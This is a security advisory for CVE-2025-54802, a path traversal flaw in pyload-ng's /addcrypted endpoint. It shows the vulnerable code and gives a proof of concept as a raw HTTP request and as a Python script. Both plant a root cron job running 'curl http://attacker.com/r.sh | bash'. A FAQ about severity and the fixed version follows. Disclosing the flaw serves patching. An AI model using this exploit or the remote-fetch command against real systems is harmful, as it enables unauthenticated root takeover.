CVE-2025-54802

Path Traversal in pyLoad-ng CNL Blueprint via package parameter allows Arbitrary File Write leading to Remote Code Execution (RCE) The addcrypted endpoint in pyload-ng suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root.

Details

• Endpoint: POST /addcrypted
• Issue: src/pyload/webui/app/blueprints/cnl_blueprint.py

Vulnerable Code

 dlc_path = os.path.join( 
     dl_path, package.replace("/", "").replace("\\", "").replace(":", "") + ".dlc" 
 ) 
 dlc = flask.request.form["crypted"].replace(" ", "+") 
 with open(dlc_path, mode="wb") as fp: 

PoC

POST /addcrypted HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 107

package=../../../../etc/cron.d/payload&crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA==

Decoded payload:

* * * * * root curl -s http://attacker.com/r.sh | bash

Send crafted POST

import requests, base64

payload = "* * * * * root curl http://attacker.com/rev.sh | bash"
b64 = base64.b64encode(payload.encode()).decode()

requests.post("http://localhost:8000/addcrypted", data={
    "package": "../../../../etc/cron.d/exploit",
    "crypted": b64
})

The vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the addcrypted endpoint in pyload-ng parameter. when exploited, it enables remote code execution as root by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2025-54802 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.5.0b3.dev90); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-54802? CVE-2025-54802 is a critical-severity path traversal vulnerability in pyload-ng (pip), affecting versions <= 0.5.0b3.dev89. It is fixed in 0.5.0b3.dev90. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2025-54802? CVE-2025-54802 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of pyload-ng are affected by CVE-2025-54802? pyload-ng (pip) versions <= 0.5.0b3.dev89 is affected.
4. Is there a fix for CVE-2025-54802? Yes. CVE-2025-54802 is fixed in 0.5.0b3.dev90. Upgrade to this version or later.
5. Is CVE-2025-54802 exploitable, and should I be worried? Whether CVE-2025-54802 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-54802 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-54802? Upgrade pyload-ng to 0.5.0b3.dev90 or later.